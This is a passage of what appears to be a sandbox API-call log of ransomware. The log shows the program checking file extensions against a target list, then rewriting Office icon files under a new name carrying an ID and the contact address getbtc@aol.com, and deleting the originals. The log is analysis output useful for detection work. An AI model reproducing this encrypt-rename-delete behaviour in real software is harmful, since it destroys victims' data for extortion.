(normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gwe.ico")) returned 1 [0265.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.138] lstrlenW (lpString=".doc") returned 4 [0265.138] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.138] lstrlenW (lpString=".docx") returned 5 [0265.138] lstrcmpiW (lpString1=".docx", lpString2="E.ICO") returned -1 [0265.138] lstrlenW (lpString=".pdf") returned 4 [0265.138] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.138] lstrlenW (lpString=".xls") returned 4 [0265.138] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.138] lstrlenW (lpString=".xlsx") returned 5 [0265.138] lstrcmpiW (lpString1=".xlsx", lpString2="E.ICO") returned -1 [0265.138] lstrlenW (lpString=".ppt") returned 4 [0265.138] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.138] lstrlenW (lpString=".zip") returned 4 [0265.138] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.138] lstrlenW (lpString=".rar") returned 4 [0265.138] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.138] lstrlenW (lpString=".bz2") returned 4 [0265.138] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.138] lstrlenW (lpString=".7z") returned 3 [0265.138] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.139] lstrlenW (lpString=".dbf") returned 4 [0265.139] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.139] lstrlenW (lpString=".1cd") returned 4 [0265.139] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.139] lstrlenW (lpString=".jpg") returned 4 [0265.139] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.139] lstrlenW (lpString=".doc") returned 4 [0265.139] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.139] lstrlenW (lpString=".docx") returned 5 [0265.139] lstrcmpiW (lpString1=".docx", lpString2="E.ICO") returned -1 [0265.139] lstrlenW (lpString=".pdf") returned 4 [0265.139] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.139] lstrlenW (lpString=".xls") returned 4 [0265.139] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.139] lstrlenW (lpString=".xlsx") returned 5 [0265.139] lstrcmpiW (lpString1=".xlsx", lpString2="E.ICO") returned -1 [0265.139] lstrlenW (lpString=".ppt") returned 4 [0265.139] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.139] lstrlenW (lpString=".zip") returned 4 [0265.139] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.139] lstrlenW (lpString=".rar") returned 4 [0265.139] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.139] lstrlenW (lpString=".bz2") returned 4 [0265.139] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.139] lstrlenW (lpString=".7z") returned 3 [0265.139] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.139] lstrlenW (lpString=".dbf") returned 4 [0265.140] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.140] lstrlenW (lpString=".1cd") returned 4 [0265.140] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned 67 [0265.140] lstrlenW (lpString=".jpg") returned 4 [0265.140] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.140] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0265.140] lstrlenW (lpString="INCOMING.ICO") returned 12 [0265.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\incoming.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.140] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1718) returned 1 [0265.141] CloseHandle (hObject=0x3a8) returned 1 [0265.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\incoming.ico")) returned 0x20 [0265.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\incoming.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\incoming.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.141] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.141] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\incoming.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.142] GetLastError () returned 0x0 [0265.142] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x6b6, lpOverlapped=0x0) returned 1 [0265.143] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0265.144] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.144] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.144] SetEndOfFile (hFile=0x3a0) returned 1 [0265.144] CloseHandle (hObject=0x3a0) returned 1 [0265.144] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.144] SetEndOfFile (hFile=0x3a8) returned 1 [0265.146] CloseHandle (hObject=0x3a8) returned 1 [0265.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\incoming.ico")) returned 1 [0265.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.147] lstrlenW (lpString=".doc") returned 4 [0265.147] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.147] lstrlenW (lpString=".docx") returned 5 [0265.147] lstrcmpiW (lpString1=".docx", lpString2="G.ICO") returned -1 [0265.147] lstrlenW (lpString=".pdf") returned 4 [0265.148] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.148] lstrlenW (lpString=".xls") returned 4 [0265.148] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.148] lstrlenW (lpString=".xlsx") returned 5 [0265.148] lstrcmpiW (lpString1=".xlsx", lpString2="G.ICO") returned -1 [0265.148] lstrlenW (lpString=".ppt") returned 4 [0265.148] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.148] lstrlenW (lpString=".zip") returned 4 [0265.148] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.148] lstrlenW (lpString=".rar") returned 4 [0265.148] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.148] lstrlenW (lpString=".bz2") returned 4 [0265.148] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.148] lstrlenW (lpString=".7z") returned 3 [0265.148] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.148] lstrlenW (lpString=".dbf") returned 4 [0265.148] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.148] lstrlenW (lpString=".1cd") returned 4 [0265.148] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.148] lstrlenW (lpString=".jpg") returned 4 [0265.148] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.148] lstrlenW (lpString=".doc") returned 4 [0265.148] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.148] lstrlenW (lpString=".docx") returned 5 [0265.148] lstrcmpiW (lpString1=".docx", lpString2="G.ICO") returned -1 [0265.148] lstrlenW (lpString=".pdf") returned 4 [0265.148] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.148] lstrlenW (lpString=".xls") returned 4 [0265.148] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.149] lstrlenW (lpString=".xlsx") returned 5 [0265.149] lstrcmpiW (lpString1=".xlsx", lpString2="G.ICO") returned -1 [0265.149] lstrlenW (lpString=".ppt") returned 4 [0265.149] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.149] lstrlenW (lpString=".zip") returned 4 [0265.149] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.149] lstrlenW (lpString=".rar") returned 4 [0265.149] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.149] lstrlenW (lpString=".bz2") returned 4 [0265.149] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.149] lstrlenW (lpString=".7z") returned 3 [0265.149] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.149] lstrlenW (lpString=".dbf") returned 4 [0265.149] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.149] lstrlenW (lpString=".1cd") returned 4 [0265.149] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned 72 [0265.149] lstrlenW (lpString=".jpg") returned 4 [0265.149] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.149] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0265.149] lstrlenW (lpString="INDOMAIN.ICO") returned 12 [0265.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\indomain.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.150] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=318) returned 1 [0265.150] CloseHandle (hObject=0x3a8) returned 1 [0265.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\indomain.ico")) returned 0x20 [0265.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\indomain.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\indomain.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.150] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.150] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\indomain.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.151] GetLastError () returned 0x0 [0265.151] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x13e, lpOverlapped=0x0) returned 1 [0265.152] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x140, lpOverlapped=0x0) returned 1 [0265.153] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.153] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.153] SetEndOfFile (hFile=0x3a0) returned 1 [0265.153] CloseHandle (hObject=0x3a0) returned 1 [0265.153] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.153] SetEndOfFile (hFile=0x3a8) returned 1 [0265.155] CloseHandle (hObject=0x3a8) returned 1 [0265.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\indomain.ico")) returned 1 [0265.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.156] lstrlenW (lpString=".doc") returned 4 [0265.156] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.156] lstrlenW (lpString=".docx") returned 5 [0265.156] lstrcmpiW (lpString1=".docx", lpString2="N.ICO") returned -1 [0265.156] lstrlenW (lpString=".pdf") returned 4 [0265.156] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.157] lstrlenW (lpString=".xls") returned 4 [0265.157] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.157] lstrlenW (lpString=".xlsx") returned 5 [0265.157] lstrcmpiW (lpString1=".xlsx", lpString2="N.ICO") returned -1 [0265.157] lstrlenW (lpString=".ppt") returned 4 [0265.157] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.157] lstrlenW (lpString=".zip") returned 4 [0265.157] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.157] lstrlenW (lpString=".rar") returned 4 [0265.157] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.157] lstrlenW (lpString=".bz2") returned 4 [0265.157] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.157] lstrlenW (lpString=".7z") returned 3 [0265.157] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.157] lstrlenW (lpString=".dbf") returned 4 [0265.157] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.157] lstrlenW (lpString=".1cd") returned 4 [0265.157] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.157] lstrlenW (lpString=".jpg") returned 4 [0265.157] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.157] lstrlenW (lpString=".doc") returned 4 [0265.157] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.157] lstrlenW (lpString=".docx") returned 5 [0265.157] lstrcmpiW (lpString1=".docx", lpString2="N.ICO") returned -1 [0265.157] lstrlenW (lpString=".pdf") returned 4 [0265.157] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.157] lstrlenW (lpString=".xls") returned 4 [0265.157] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.157] lstrlenW (lpString=".xlsx") returned 5 [0265.157] lstrcmpiW (lpString1=".xlsx", lpString2="N.ICO") returned -1 [0265.158] lstrlenW (lpString=".ppt") returned 4 [0265.158] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.158] lstrlenW (lpString=".zip") returned 4 [0265.158] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.158] lstrlenW (lpString=".rar") returned 4 [0265.158] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.158] lstrlenW (lpString=".bz2") returned 4 [0265.158] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.158] lstrlenW (lpString=".7z") returned 3 [0265.158] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.158] lstrlenW (lpString=".dbf") returned 4 [0265.158] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.158] lstrlenW (lpString=".1cd") returned 4 [0265.158] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned 72 [0265.158] lstrlenW (lpString=".jpg") returned 4 [0265.158] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.323] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0265.323] lstrlenW (lpString="MAIL.ICO") returned 8 [0265.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\mail.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.328] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2606) returned 1 [0265.328] CloseHandle (hObject=0x3c4) returned 1 [0265.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\mail.ico")) returned 0x20 [0265.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\mail.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\mail.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.355] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.355] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\mail.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.355] GetLastError () returned 0x0 [0265.355] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xa2e, lpOverlapped=0x0) returned 1 [0265.395] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xa30, lpOverlapped=0x0) returned 1 [0265.396] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.396] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0265.396] SetEndOfFile (hFile=0x1f8) returned 1 [0265.396] CloseHandle (hObject=0x1f8) returned 1 [0265.396] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.396] SetEndOfFile (hFile=0x3a0) returned 1 [0265.401] CloseHandle (hObject=0x3a0) returned 1 [0265.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\mail.ico")) returned 1 [0265.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.512] lstrlenW (lpString="C:\\Program Files\\Microsoft 